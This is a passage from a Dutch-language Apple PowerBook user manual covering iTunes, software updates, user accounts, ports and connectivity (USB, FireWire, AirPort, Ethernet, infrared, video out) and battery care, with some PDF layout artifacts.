Met iTunes kunt u afspeellijsten van nummers uit uw bibliotheek samenstellen. Een
afspeellijst is een lijst met nummers in een bepaalde volgorde. Met behulp van afspeellijsten
kunt u de muziek geheel afstemmen op uw gemoedstoestand. Ook kunt u de nummers
sorteren op artiest of thema. Klik op de knop linksonder in het venster om een nieuwe
afspeellijst aan te maken en sleep nummers vanuit de bibliotheek naar de afspeellijst.
Het iTunes-venster verkleinen of iTunes vanuit de Regelbalk bedienen
U kunt het iTunes-venster samenvouwen, zodat alleen de afspeelregelaars en de status
worden weergegeven. Klik in het zoom-vak in het iTunes-venster. De regelaars zijn ook
toegankelijk via de module 'iTunes' in de Regelbalk (Mac OS 9) of via het Dock (Mac OS X).
Cd-gegevens opvragen via de CDDB-database
iTunes brengt automatisch een verbinding met de CDDB-database op het Internet tot stand
om de naam van de cd, de titels en andere informatie over uw audio-cd op te zoeken. Als u
geen verbinding met het Internet hebt, kunt u de volgende keer dat u een verbinding tot
stand brengt, informatie zoeken over de nummers die u hebt geïmporteerd. Selecteer het
nummer en kies 'Haal cd-tracknamen op' uit het Geavanceerd-menu.
De PowerBook op een stereo-installatie aansluiten
U kunt de PowerBook eenvoudig op een stereo-installatie aansluiten. Verbind de
koptelefoonpoort (f) met de geluidsinvoerpoorten op de stereo-installatie met behulp van
een kabel met een ministekker en een RCA-stekker (niet inbegrepen).
Meer informatie
Raadpleeg voor meer informatie over iTunes de iTunes Help of de iTunes-website op
www.apple.com/nl/itunes.40 Hoofdstuk 2
Programmatuur automatisch bijwerken: de computer automatisch up-todate houden
Werk nu bij
Klik op 'Werk nu bij' om na te gaan
of er op de Internet-servers van
Apple bijgewerkte versies van uw
programmatuur beschikbaar zijn. In het
paneel 'Programmatuurupdate' worden
alle updates weergegeven die
op uw systeem van toepassing zijn.
Programmatuur bijwerken
Hier stelt u in hoe vaak wordt
gezocht naar programmatuurupdates van Apple.Vertrouwd raken met de computer 41
De mogelijkheden
Met de functie voor het automatisch bijwerken van de programmatuur worden de meest
recente updates, besturingsbestanden en andere Apple uitbreidingen automatisch van het
Internet gedownload en zelfs geïnstalleerd. Desgewenst stelt u de computer zo in dat de
server van Apple regelmatig automatisch wordt gecontroleerd. U kunt zelfs instellen dat de
bijgewerkte programmatuur automatisch voor u wordt gedownload en geïnstalleerd.
Aan de slag
1 Breng een verbinding tot stand met het Internet.
2 Open Programmatuurupdate als volgt:
m Kies in Mac OS 9 'Regelpanelen' uit het Apple-menu (K) en vervolgens
'Programmatuurupdate' uit het submenu.
m Open in Mac OS X het programma 'Systeemvoorkeuren' en klik op
'Programmatuurupdate'.
3 Klik op 'Werk nu bij', selecteer de programmatuur die u wilt bijwerken, en klik vervolgens op
'Installeer'.
Snelle methoden en tips
Het schema voor programmatuurupdates aanpassen
Als u een permanente verbinding met het Internet hebt, kunt u een schema voor de
computer instellen. Op basis hiervan wordt op vaste tijdstippen op bepaalde dagen gekeken
of er programmatuurupdates beschikbaar zijn. Als u zelf moet inbellen om toegang tot het
Internet te verkrijgen, worden deze controles uitgevoerd zodra u weer een verbinding met
het Internet tot stand brengt.
Nieuwe programmatuur automatisch installeren
U kunt de computer zo instellen dat elke week wordt gecontroleerd of er
programmatuurupdates beschikbaar zijn. Als dat het geval is, worden deze automatisch
geïnstalleerd. U kunt een schema instellen op basis waarvan er moet worden gezocht naar
programmatuurupdates. Schakel het aankruisvak 'Bevestig installatie nieuwe
programmatuur' uit (Mac OS 9).
Meer informatie
Voor meer informatie over het verwerken van programmatuurupdates zoekt u in Mac Help
op 'Programmatuurupdate'. Voor de meest recente informatie over het Mac OS raadpleegt u
de Mac OS-website op www.apple.com/nl/macos. 42 Hoofdstuk 2
Meerdere gebruikers: meerdere Macintosh computers in één
Gebruikers
In het paneel
'Gebruikers' in
'Systeemvoorkeuren'
kunt u nieuwe
gebruikersaccounts
aanmaken.
De map 'Shared'
Om toegang te geven tot
de map 'Shared', dient de
gebruiker 'Samengebruik'
in te schakelen in het
paneel 'Samengebruik'.
Thuismap
Elke gebruiker heeft een
thuismap met zijn of
haar eigen naam. De
instellingen voor
'Finder', Dock, iTools en
'Mail' worden voor elke
gebruiker afzonderlijk in
de thuismap
opgeslagen, zodat alle
gebruikers Mac OS X
aan hun eigen wensen
kunnen aanpassen.Vertrouwd raken met de computer 43
De mogelijkheden
Verschillende gebruikers kunnen werken met één computer door in te loggen met een eigen
gebruikersaccount. Elke gebruiker kan eigen instellingen opgeven, zoals bladwijzer- en
bureaubladweergaven, en toegang krijgen tot een eigen opslagruimte (thuismap). Alle
gebruikers van de computer hebben ook toegang tot de algemene map 'Shared'.
De eerste gebruiker die u op de computer aanmaakt, is de beheerder. Beheerders zijn
gebruikers met speciale toegangsprivileges. Zij kunnen nieuwe gebruikers toegang tot de
computer verlenen, programmatuur installeren en de instellingen van de computer wijzigen.
Opmerking: Als u het beheerderswachtwoord bent vergeten, kunt u dit opnieuw instellen
met de Mac OS X-cd. Start de computer op vanaf de Mac OS X-cd en kies 'Stel wachtwoord
opnieuw in' uit het Installer-menu. Met behulp van de cd hebben gebruikers onbeperkt
toegang tot de computer. Het is daarom van belang dat u de cd op een veilige plaats bewaart.
Aan de slag
1 U maakt als volgt een nieuwe gebruiker aan:
m Kies in Mac OS 9 'Regelpanelen' uit het Apple-menu (K) en 'Meerdere gebruikers' uit het
submenu. Schakel 'Gebruikersaccounts' in en klik op 'Nieuwe gebruiker'.
m Kies in Mac OS X 'Systeemvoorkeuren' uit het Apple-menu (K), klik op 'Gebruikers' en
klik vervolgens op de knop 'Nieuwe gebruiker'.
2 Bewerk de gebruikersgegevens. U kunt beheerdersprivileges toewijzen aan gebruikers.
3 Sluit het venster.
Snelle methoden en tips
De computer beveiligen
U kunt een wachtwoord instellen voor toegang tot een computer nadat de schermbeveiliging
is ingeschakeld. Open hiervoor het programma 'Systeemvoorkeuren', klik op
'Schermbeveiliging' en vervolgens op de tab 'Inschakeling' om de gewenste periode van
inactiviteit in te stellen waarna de schermbeveiliging moet worden gestart. Schakel
vervolgens de optie 'Vraag om het wachtwoord van mijn gebruikersaccount' in.
Gebruikersprivileges instellen
In Mac OS 9 kunnen beheerders documenten en programma's opgeven waartoe gebruikers
toegang hebben, en algemene instellingen definiëren, zoals een welkomstbericht. Zoek op
'Meerdere gebruikers' in Mac Help in Mac OS 9 voor meer informatie.
Meer informatie
Voor meer informatie over het instellen van gebruikersaccounts in Mac OS X zoekt u op
'gebruikers' in Mac Help. 44 Hoofdstuk 2
Mac Help: antwoorden op al uw vragen over de Macintosh
Zoek
Typ een vraag en
klik op 'Zoek'.45
H O O F D S T U K
3
3 Werken met de computer
De PowerBook bevat een groot aantal ingebouwde voorzieningen en
uitbreidingsmogelijkheden waarmee u de computer volledig naar wens kunt aanpassen,
zoals:
m USB (Universal Serial Bus) voor het aansluiten van extra apparatuur op de PowerBook,
zoals printers, scanners, joysticks, toetsenborden, digitale camera's en diskette-eenheden.
m FireWire voor het aansluiten van snelle apparatuur, zoals digitale videocamera's en externe
harde schijven.
m Het nieuwste op het gebied van communicatietechnologie zoals een 56K-modem, een
infraroodvoorziening, 10/100/1000Base-T Ethernet en AirPort voor draadloze Internet- of
netwerkverbinding.
m De mogelijkheid om een extern beeldscherm, een videoprojector of televisie op de
PowerBook aan te sluiten en ondersteuning voor synchrone weergave en een extra groot
bureaublad. Gebruik de ingebouwde video-ondersteuning van de PowerBook om
presentaties te geven, een extern beeldscherm aan te sluiten of om dvd-video's op uw
televisie af te spelen.
m Een batterij met een lange levensduur, een Type II PC Card/CardBus-sleuf en nog veel
meer.
In dit hoofdstuk worden de mogelijkheden van de PowerBook besproken. Aanvullende
informatie vindt u in 'Mac Help' (raadpleeg pagina 44) of op een van de vele websites van
Apple.46 Hoofdstuk 3
USB (Universal Serial Bus)
De PowerBook is voorzien van twee USB-poorten waarop u een groot aantal externe
apparaten kunt aansluiten, zoals printers, scanners, digitale camera's, gamepads, joysticks,
toetsenborden en diskette-eenheden. Met USB is het zeer eenvoudig om externe apparaten
aan te sluiten. In de meeste gevallen kunt u een USB-apparaat aansluiten of loskoppelen
terwijl de computer aan staat. Nadat u het apparaat hebt aangesloten, is het klaar voor
gebruik. U hoeft de computer dus niet opnieuw op te starten of te configureren.
Werken met USB-apparaten
Om een USB-apparaat te gebruiken, sluit u het aan op de computer. De computer laadt
automatisch de juiste programmatuur wanneer u een nieuw apparaat aansluit.
Opmerking: De computer is door Apple al voorzien van programmatuur die geschikt is
voor allerlei USB-apparaten. Als de PowerBook niet de juiste programmatuur kan vinden
wanneer u een USB-apparaat aansluit, kunt u de programmatuur installeren die bij het
apparaat is geleverd. U kunt ook aan de hand van de melding die verschijnt de
desbetreffende programmatuur op het Internet zoeken en deze vervolgens downloaden en
installeren.
USB-apparaten en energieverbruik
Op de PowerBook kunnen USB-apparaten, zoals joysticks en toetsenborden, worden
aangesloten die van stroom worden voorzien via de USB-aansluiting in plaats van via een
aparte lichtnetadapter. Het gebruik van dit soort USB-apparaten kan er echter voor zorgen
dat de batterij van de PowerBook sneller leeg raakt. Het is daarom aan te raden de
lichtnetadapter aan te sluiten wanneer u externe apparaten aansluit op de computer.
1 2
G ™ Æ WWerken met de computer 47
Meerdere USB-apparaten tegelijk gebruiken
De PowerBook is voorzien van twee USB-poorten. Als u meerdere USB-apparaten wilt
aansluiten op dezelfde USB-poort, dient u een USB-hub aan te schaffen. U sluit de USB-hub
aan op een vrije poort van de computer, waarna u over extra USB-poorten beschikt (meestal
vier of zeven).
Meer informatie over USB
Aanvullende informatie over USB is beschikbaar in 'Mac Help' (raadpleeg pagina 44). Kies
'Mac Help' uit het Help-menu en zoek op 'USB'. Meer informatie kunt u ook vinden op de
USB-website van Apple op www.apple.com/nl/usb.
Raadpleeg de Macintosh Products Guide op www.apple.com/guide (Engelstalig) om te zien
welke USB-apparaten voor uw computer beschikbaar zijn.
G ™ Æ W
USB-hub48 Hoofdstuk 3
FireWire
De computer is voorzien van een FireWire-poort. Met FireWire kunt u eenvoudig snelle
externe apparaten, zoals digitale videocamera's, printers, scanners en harde schijven,
aansluiten en loskoppelen. U kunt FireWire-apparaten aansluiten en loskoppelen zonder de
computer opnieuw te hoeven opstarten.
Met FireWire kunt u onder andere het volgende doen:
m Een digitale videocamera aansluiten en videobeelden van hoge kwaliteit opnemen en
direct naar de computer overbrengen. Deze videobeelden kunt u vervolgens bewerken
met speciale programmatuur, zoals iMovie.
m Een externe FireWire harde schijf aansluiten voor het opslaan van gegevens of het
overdragen van bestanden. Nadat u de FireWire harde schijf hebt aangesloten, verschijnt
een symbool van de schijf op het bureaublad.
m Vanaf een externe FireWire harde schijf opstarten. Sluit een externe FireWire-schijf (met
een bruikbare, geïnstalleerde Systeemmap) aan en voer de volgende handelingen uit:
m Open in Mac OS 9 het regelpaneel 'Opstartschijf' en klik op de FireWire-schijf.
m Open in Mac OS X het paneel 'Opstartschijf' van het programma 'Systeemvoorkeuren'
en klik op de FireWire-schijf.
m Start de computer opnieuw op.
Werken met FireWire-apparaten
Om een FireWire-apparaat in combinatie met de computer te gebruiken, sluit u het apparaat
op de computer aan en installeert u de eventuele bijbehorende programmatuur. Als u een
nieuw apparaat aansluit, wordt dit automatisch door de computer herkend.
G ™ Æ WWerken met de computer 49
FireWire-apparaten en energieverbruik
Op de PowerBook kunnen FireWire-apparaten, zoals bepaalde externe harde schijven,
worden aangesloten die van stroom worden voorzien via de FireWire-verbinding in plaats van
via een aparte lichtnetadapter. Het gebruik van dit soort FireWire-apparaten kan er echter
voor zorgen dat de batterij van de PowerBook sneller leeg raakt. Het is daarom aan te raden
de lichtnetadapter aan te sluiten wanneer u voor langere tijd externe apparaten op de
computer gebruikt.
FireWire-doelschijfmodus
Als zich een probleem voordoet waardoor u de computer niet kunt opstarten, of als u
bestanden wilt uitwisselen tussen de PowerBook en een andere computer met FireWire, kunt
u de PowerBook in de FireWire-doelschijfmodus op een andere computer aansluiten.
Om de PowerBook aan te sluiten in de FireWire-doelschijfmodus, gaat u als volgt te werk:
1 Controleer of de PowerBook is uitgeschakeld.
2 Gebruik een standaard-FireWire-kabel met een 6-pens connector aan beide uiteinden om de
PowerBook op een andere computer met FireWire aan te sluiten.
3 Start de PowerBook op terwijl u de T-toets ingedrukt houdt. Op het scherm van de
PowerBook verschijnt het FireWire-logo en op het bureaublad van de andere computer
verschijnt het symbool van de interne harde schijf van de PowerBook.
4 Nadat de bestanden zijn uitgewisseld, sleept u het symbool van de harde schijf van de
PowerBook naar de prullenmand.
5 Zet de PowerBook uit met behulp van de Aan/uit-knop en koppel vervolgens de FireWirekabel los.
Opmerking: De FireWire-poort levert een vermogen van maximaal 7 watt aan FireWireapparaten. U kunt meerdere apparaten aan elkaar koppelen en deze keten van apparaten
aansluiten op de FireWire-poort van de computer. Er mag echter slechts één apparaat stroom
van de computer krijgen. De overige apparaten in de keten moeten stroom krijgen via
afzonderlijke lichtnetadapters. Als u meerdere FireWire-apparaten aansluit die stroom krijgen
van de computer, kunnen er problemen ontstaan. Als er een probleem optreedt, zet u de
computer uit, verwijdert u de FireWire-apparaten en start u de computer opnieuw op.
Belangrijk Op de computer waarop u de PowerBook wilt aansluiten, dient FireWire versie
2.3.3 of hoger te zijn geïnstalleerd. Controleer in Apple Systeemprofiel welke versie van
FireWire op de computer is geïnstalleerd. In Mac OS 9 vindt u Apple Systeemprofiel in het
Apple-menu (K). In Mac OS X vindt u Apple Systeemprofiel in de map 'Utilities' (in de map
'Applications').50 Hoofdstuk 3
Meer informatie over FireWire
Aanvullende informatie over FireWire is beschikbaar in 'Mac Help' (raadpleeg pagina 44). Kies
'Mac Help' uit het Help-menu en zoek op 'FireWire'. Daarnaast kunt u informatie vinden op
de FireWire-website van Apple op www.apple.com/nl/firewire.
PC Cards
Met behulp van de PC Card-sleuf kunt u de mogelijkheden van de computer uitbreiden. De
PowerBook heeft een PC Card-sleuf die geschikt is voor PCMCIA-kaarten van Type I en Type
II (inclusief CardBus-kaarten). U kunt een PC Card in de sleuf plaatsen als de computer aan,
uit of in de sluimerstand staat.
Een PC Card installeren en verwijderen
Houd de kaart recht en plaats deze met het etiket naar boven in de sleuf. U voelt enige
weerstand als u de kaart in de sleuf duwt. Als de kaart goed op zijn plaats zit, voelt u deze
vastklikken. Vervolgens verschijnt een symbool voor de PC Card op het bureaublad. U kunt
een PC Card verwijderen terwijl de computer is in- of uitgeschakeld, maar niet als deze in de
sluimerstand staat.
Om een PC Card te verwijderen, gaat u als volgt te werk:
1 Als de computer aan staat, sleept u het symbool van de kaart naar de prullenmand.
G ™ Æ W
PC Card-sleuf
Verwijderknop
Belangrijk De AirPort-kaart is in een interne sleuf geïnstalleerd. In tegenstelling tot kaarten
voor draadloze verbinding van andere fabrikanten kunt u de AirPort-kaart niet installeren in
de PC Card-sleuf. Als u de AirPort-kaart in de PC Card-sleuf installeert, kunt u de kaart niet
gebruiken en werkt de computer niet naar behoren.Werken met de computer 51
2 Druk eenmaal op de verwijderknop naast de sleuf van de PC Card om de knop te
ontgrendelen.
3 Druk nogmaals op de knop om de kaart te verwijderen.
4 Haal de kaart uit de sleuf en druk nogmaals op de verwijderknop om de sleuf in de computer
te schuiven.
Meer informatie over PC Cards
Raadpleeg de Macintosh Products Guide op www.apple.com/guide (Engelstalig) om te zien
welke PC Cards beschikbaar zijn voor de PowerBook.
Draadloze Internet- en netwerktoegang via AirPort
De PowerBook is volledig gereed voor AirPort. De computer heeft een ingebouwde antenne
en is mogelijk al voorzien van een AirPort-kaart. Met AirPort kunt u op een eenvoudige en
betaalbare manier vanuit elke ruimte in uw huis, klaslokaal of kantoor een draadloze
verbinding met het Internet tot stand brengen. Door AirPort wordt niet gebruikgemaakt van
de gebruikelijke kabels, maar van draadloze LAN-technologie (local area network) om
communicatie tussen computers tot stand te brengen. Via een draadloos netwerk kunt u
bijvoorbeeld een verbinding tot stand brengen met het Internet, bestanden uitwisselen of
computerspellen met meerdere deelnemers spelen.
Opmerking: Voor draadloze Internet-toegang zijn een AirPort-kaart, AirPort-basisstation en
een Internet-abonnement nodig (waarvoor u mogelijk dient te betalen). Bepaalde Internetaanbieders, zoals America Online, zijn momenteel niet compatibel met AirPort. Het bereik
van AirPort kan variëren, afhankelijk van de omgeving.52 Hoofdstuk 3
Draadloze toegang tot het Internet via AirPort
Met behulp van AirPort brengt u een draadloze verbinding tot stand met een apparaat dat het
basisstation wordt genoemd en dat een fysieke verbinding met het Internet heeft. De
werking van de AirPort-technologie kunt u vergelijken met die van een draadloze telefoon.
Via de AirPort-kaart wordt een draadloze verbinding tot stand gebracht met het basisstation
dat is aangesloten op een telefoonlijn.
Meer informatie over AirPort
Om een AirPort-basisstation aan te schaffen, neemt u contact op met een door Apple
erkende leverancier of raadpleegt u de Apple Store op www.apple.com/nlstore.
Raadpleeg 'AirPort Help' voor meer informatie over AirPort. Kies 'Help-centrum' uit het Helpmenu en kies vervolgens 'AirPort Help'. Bovendien kunt u informatie vinden op de AirPortwebsite van Apple op www.apple.com/nl/airport.
AirPort-basisstation
Verbinding met het Internet
Stopcontact
®Werken met de computer 53
Ethernet (10/100/1000Base-T)
De computer is voorzien van een ingebouwde twisted-pair Ethernet-netwerkaansluiting met
een doorvoersnelheid van 10/100/1000 Mbps (megabits per seconde), waarmee u een
verbinding met een Ethernet-netwerk, een kabelmodem of een DSL-modem tot stand kunt
brengen.
Als u de computer op een netwerk aansluit, hebt u toegang tot andere computers. U kunt
dan gegevens opslaan en ophalen, netwerkprinters en netwerkmodems gebruiken,
elektronische post versturen of een verbinding met het Internet tot stand brengen. U kunt
Ethernet ook gebruiken om bestanden uit te wisselen tussen twee computers of om een
klein netwerk op te zetten. Andere Ethernet-apparaten worden automatisch herkend door
de Ethernet-poort op de PowerBook. U hebt geen Ethernet-crossoverkabel nodig om een
verbinding met andere Ethernet-apparaten tot stand te brengen.
m Gebruik Category 3 Ethernet-kabels met twee paren om een verbinding tot stand te
brengen met een 10Base-T Ethernet-netwerk.
m Gebruik Category 5 Ethernet-kabels met twee paren om een verbinding tot stand te
brengen met een 100Base-T Ethernet-netwerk.
m Gebruik Category 5 Ethernet-kabels met vier paren om een verbinding tot stand te
brengen met een 1000Base-T Ethernet-netwerk.
Meer informatie over Ethernet
Raadpleeg 'Mac Help' (zie pagina 44) voor meer informatie over het opzetten van een
Ethernet-netwerk of het uitwisselen van bestanden via Ethernet. Kies 'Mac Help' uit het Helpmenu en zoek op 'Ethernet' of 'netwerk'.
Raadpleeg voor informatie over de netwerkproducten die u met de PowerBook kunt
gebruiken de Macintosh Products Guide op www.apple.com/guide (Engelstalig).
G ™ Æ W
G54 Hoofdstuk 3
Infrarood (IrDA)
De PowerBook heeft ingebouwde infraroodvoorzieningen (IR) waarmee u draadloos
gegevens kunt versturen en ontvangen. De infraroodvoorzieningen in de PowerBook zijn
gebaseerd op de standaardcommunicatiemethode IrDA.
Met behulp van infrarood kunt u bestanden uitwisselen met een andere computer met
infraroodvoorzieningen, een verbinding tot stand brengen met andere infraroodapparaten,
zoals een organizer, of een infraroodnetwerk en zelfs afdrukken op een infraroodprinter. Het
uitwisselen van bestanden via infrarood werkt hetzelfde als via Ethernet. Het enige verschil is
dat de verbinding tot stand komt via infrarood in plaats van via Ethernet. U kunt geen
bestanden uitwisselen of afdrukken via IrDA in Mac OS X.
Opmerking: u kunt geen bestanden uitwisselen met een computer die alleen geschikt is
voor IRTalk (een afwijkende methode voor IR-communicatie die wordt gebruikt in bepaalde
oudere computertypen).
Een infraroodverbinding tot stand brengen
Om een infraroodverbinding tot stand te brengen met een andere computer, gaat u als volgt
te werk:
1 Plaats de infraroodvensters van beide computers op minder dan één meter afstand recht
tegenover elkaar.
2 Stel in de regelpanelen 'AppleTalk' en 'TCP/IP' in dat de verbinding via infrarood tot stand
moet worden gebracht.
3 Controleer of de optie voor samengebruik in het regelpaneel 'Samengebruik' in Mac OS 9 is
ingeschakeld.
G ™ Æ WWerken met de computer 55
Meer informatie over infrarood
Raadpleeg 'Mac Help' (zie pagina 44) voor meer informatie over het configureren van het
Mac OS om communicatie via infrarood mogelijk te maken. Kies 'Mac Help' uit het Helpmenu en zoek op 'infrarood' of 'samengebruik'.
Ondersteuning voor extern videoapparaat (VGA en S-Video)
De computer is voorzien van een beeldschermpoort waarop u een beeldscherm met een
VGA-adapter of een ander extern videoapparaat, bijvoorbeeld een videoprojector, kunt
aansluiten.
Via de tv-uitvoerpoort (ook wel S-video-uitvoerpoort genoemd) op de computer kunt u een
televisie, videorecorder of videoprojector aansluiten met behulp van een S-videokabel of een
composite-videokabel (verkrijgbaar bij elektronicazaken). U kunt op die manier
computerbeelden op een televisie weergeven of op een videorecorder opnemen, of dvdschijven afspelen op uw televisie.
Als het apparaat dat u wilt aansluiten geen S-videopoort heeft, kunt u de composite-naar-Svideoadapter gebruiken die bij de PowerBook is geleverd.
Als u een extern beeldscherm of een televisie hebt aangesloten, kunt u kiezen of u hetzelfde
beeld wilt weergeven op zowel het externe als het interne beeldscherm (synchrone
weergave) of dat u het Mac OS-bureaublad verspreid over twee beeldschermen wilt
weergeven (de modus voor een extra groot bureaublad).
G ™ Æ W
™ Poort extern beeldscherm
Æ S-video-uitvoerpoort
VGA-beeldschermkabel
Composite-naar-S-videokabel56 Hoofdstuk 3
Opmerking: de beeldkwaliteit van de meeste televisies is minder goed dan die van een intern
of extern beeldscherm.
Een extern beeldscherm aansluiten
Om een extern beeldscherm op de computer aan te sluiten, gaat u als volgt te werk:
1 Zet het externe beeldscherm uit.
2 Sluit de kabel van het beeldscherm aan op de PowerBook.
3 Zet het externe beeldscherm aan.
4 Houd de Command-toets (x) ingedrukt en druk op de toets voor het verhogen van de
helderheid/F2 ( ) zodat het nieuwe beeldscherm automatisch wordt herkend.
5 Pas de resolutie van het externe beeldscherm aan:
m Klik in Mac OS 9 op de module 'Beeldschermresolutie' in de Regelbalk. Als u de Controltoets ingedrukt houdt terwijl u klikt op 'Beeldschermresolutie', verschijnt er een lijst met
alle resoluties.
m Klik in Mac OS X op de tab 'Beeldscherm' in het paneel 'Beeldschermen' van het
programma 'Systeemvoorkeuren' of klik op het beeldschermsymbool in de menubalk.
Raadpleeg “Extern beeldscherm in de modus voor een extra groot bureaublad of in de
modus 'Synchrone weergave'” op pagina 101 voor meer informatie over ondersteunde
resoluties van externe beeldschermen.
Als u hetzelfde beeld wilt weergeven op het PowerBook-beeldscherm en het externe
beeldscherm, schakelt u synchrone weergave in via de Regelbalk (Mac OS 9) of via het
beeldschermsymbool in de menubalk (Mac OS X). U kunt heen en weer schakelen tussen
synchrone weergave en een extra groot bureaublad door te drukken op de Command-toets
(x) en de toets voor het verlagen van de helderheid/F1 ( ).
Belangrijk Bij synchrone weergave krijgt u het beste resultaat als u dezelfde resolutie en
kleurdiepte instelt voor het ingebouwde beeldscherm en het externe beeldscherm.
Werken met de PowerBook terwijl het scherm dichtgeklapt is
Wanneer u een extern beeldscherm, een toetsenbord, een muis en de lichtnetadapter hebt
aangesloten, kunt u met de PowerBook werken terwijl het ingebouwde beeldscherm is
dichtgeklapt.
Kleurdiepte Beeldscherm- Synchrone weergave
resolutieWerken met de computer 57
Om met de computer te werken als u een extern beeldscherm hebt aangesloten en het
scherm hebt dichtgeklapt, gaat u als volgt te werk:
1 Sluit een extern USB-toetsenbord en een USB-muis aan op de PowerBook.
2 Klap het beeldscherm van de PowerBook dicht om de sluimerstand te activeren.
3 Volg de stappen in het vorige gedeelte om een extern beeldscherm aan te sluiten op de
PowerBook.
4 Wacht een aantal seconden en druk vervolgens op een toets op het externe toetsenbord om
de computer uit de sluimerstand te halen.
Een televisie, videorecorder of ander apparaat aansluiten
Om een apparaat op de tv-uitvoerpoort aan te sluiten, gaat u als volgt te werk:
1 Sluit een S-videokabel aan op de tv-uitvoerpoort (Æ) van de PowerBook (of sluit een
composite-videokabel aan met behulp van de adapter) en sluit het andere uiteinde aan op
het externe apparaat.
2 Als u het geluid van de PowerBook wilt doorgeven aan het externe apparaat, dient u een
kabel met een ministekker en een RCA-stekker (niet meegeleverd) aan te sluiten op de
geluidsuitvoerpoort (f) van de PowerBook en de geluidsinvoerpoort van het apparaat.
3 Zet het externe apparaat aan.
4 Houd de Command-toets (x) ingedrukt en druk op de toets voor het verhogen van de
helderheid/F2 ( ) zodat het tv-scherm automatisch wordt herkend.
5 Pas de weergave-instellingen voor het apparaat aan:
m Gebruik in Mac OS 9 de module 'TV-weergave' in de Regelbalk.
m Gebruik in Mac OS X het paneel 'Beeldschermen' van het programma
'Systeemvoorkeuren'.
Meer informatie over het gebruik van een extern beeldscherm of een
televisie
Raadpleeg 'Mac Help' (zie pagina 44) voor meer informatie over het gebruiken en
configureren van een extern beeldscherm. Kies 'Mac Help' uit het Help-menu en zoek op
'beeldscherm'.
TV-weergave58 Hoofdstuk 3
Batterij
Als de lichtnetadapter niet is aangesloten, wordt de computer van stroom voorzien door de
batterij. Aan het aantal oplichtende indicatielampjes op de batterij zelf kunt u zien hoe vol de
batterij nog is. Hoe meer lampjes branden, hoe voller de batterij is. Nadat u op de knop hebt
gedrukt, blijven de indicatielampjes een paar seconden branden. U kunt de lading
controleren als de batterij zich in de PowerBook bevindt of als de batterij is verwijderd.
Belangrijk Als nog maar één lampje knippert, is de batterij zo goed als leeg. Als er geen
lampjes branden is de batterij helemaal leeg en start de computer niet op, tenzij u de
lichtnetadapter hebt aangesloten. Sluit de lichtnetadapter gedurende enkele uren aan zodat
de batterij wordt opgeladen.
Batterij
LED-indicatielampjesWerken met de computer 59
De batterij verwijderen of vervangen
U verwijdert de batterij als volgt:
m Zet de PowerBook uit of schakel de sluimerstand in. Draai de computer om en kijk waar
het ontgrendelingsschuifje van de batterij zich bevindt. Schuif het schuifje naar de zijkant
en verwijder de batterij voorzichtig.
De batterij verwisselen terwijl de sluimerstand is ingeschakeld
Als de batterij bijna leeg is terwijl u aan het werk bent, kunt u de sluimerstand inschakelen en
de batterij vervangen door een opgeladen batterij. De interne reservebatterij levert
voldoende stroom om de inhoud van het RAM-geheugen drie minuten te behouden, zodat u
de batterij kunt vervangen.
De batterij opladen
De batterij kan worden opgeladen als de computer wordt gebruikt, in de sluimerstand staat
of is uitgeschakeld. Er gaat een lampje branden op de stekker van de lichtnetadapter. Een
oranje lampje geeft aan dat de batterij wordt opgeladen. Een groen lampje geeft aan dat de
batterij volledig is opgeladen.
De batterij wordt het snelst opgeladen als de computer is uitgeschakeld of in de sluimerstand
staat. U kunt de batterijlading controleren.
m Gebruik in Mac OS 9 de indicator van de batterijlading in de Regelbalk.
m Gebruik in Mac OS X het batterijsymbool in de menubalk.
Batterij
Ontgrendeling
Indicator van de batterijlading60 Hoofdstuk 3
Om de gebruiksduur van de batterij zo lang mogelijk te maken, dient u zo veel mogelijk
gebruik te maken van de lichtnetadapter.
De batterij kalibreren voor de beste prestaties
Om een nieuwe batterij zo lang mogelijk te kunnen gebruiken, dient u de batterij binnen een
week na ingebruikneming te ontladen en vervolgens volledig op te laden. Hiervoor gaat u als
volgt te werk:
1 Sluit de lichtnetadapter aan en laad de batterij volledig op totdat het indicatielampje van de
batterij brandt en het metertje op het scherm aangeeft dat de batterij volledig is opgeladen.
2 Koppel de lichtnetadapter los en gebruik de PowerBook totdat er voor het eerst een
waarschuwingsvenster verschijnt dat aangeeft dat de batterij bijna leeg is.
3 Sluit de lichtnetadapter aan en laat deze aangesloten totdat de batterij volledig is opgeladen.
Belangrijk U hoeft deze procedure slechts één keer uit te voeren om de batterij te
kalibreren. Vervolgens kunt u de lichtnetadapter bij elke batterijlading aansluiten of
loskoppelen.Werken met de computer 61
Tips voor energiebesparing
Hoe lang u precies met de PowerBook kunt werken voordat u de batterij opnieuw moet
opladen, is afhankelijk van de apparatuur die u gebruikt en de maatregelen die u neemt om
het stroomverbruik te beperken.
U kunt het volgende doen om het stroomverbruik te beperken:
m Koppel alle USB- of FireWire-apparaten met busstroom die u niet gebruikt, los van de
computer.
m Sluit alle geopende programma's die u niet gebruikt.
m Verwijder cd-rom- en dvd-romschijven die niet in gebruik zijn.
m Verminder de helderheid van het scherm met behulp van de helderheidsregelaars op het
toetsenbord van de PowerBook.
m Maak bij elke werkonderbreking gebruik van de sluimerstand van de PowerBook.
m Schakel in Mac OS 9 het aankruisvak 'Ingebouwd beeldscherm uit in plaats van in
sluimerstand' in het tabblad 'Extra instellingen' van het regelpaneel 'Energiestand' in.
U kunt ook het volgende doen:
m Zorg dat de sluimerstand van de harde schijf al na een klein aantal minuten wordt
ingeschakeld.
m Schakel de sluimerstand in nadat de PowerBook vijf minuten inactief is.
U krijgt als volgt toegang tot de energie-instellingen van de computer:
m Gebruik in Mac OS 9 de module 'Energie-instellingen' in de Regelbalk.
m Gebruik in Mac OS X het paneel 'Energiestand' van het programma 'Systeemvoorkeuren'.
Meer informatie over de batterij van de PowerBook
Raadpleeg 'Mac Help' (zie pagina 44) voor meer informatie. Kies 'Mac Help' uit het Helpmenu en zoek op 'batterij'.62 Hoofdstuk 3
Dvd-romspeler
Alle programmatuur die nodig is voor het gebruik van de computer en toegang tot het
Internet, is al geïnstalleerd op de PowerBook. (De cd's die u bij de PowerBook hebt
ontvangen, hebt u alleen nodig als u problemen ondervindt of als u de
systeemprogrammatuur opnieuw moet installeren.) Als u extra programmatuur hebt
aangeschaft, kunt u deze installeren vanaf cd of afspelen vanaf een dvd-schijf via de dvdromspeler van de PowerBook.
Opmerking: Als u oudere programmatuur hebt die op diskettes is geleverd, neemt u
contact op met de fabrikant van de programmatuur om na te gaan of de programmatuur ook
op een cd-romschijf beschikbaar is. Ook kunt u een externe diskette-eenheid, zoals een
LS120/SuperDisk, van een andere fabrikant aanschaffen bij een door Apple erkende
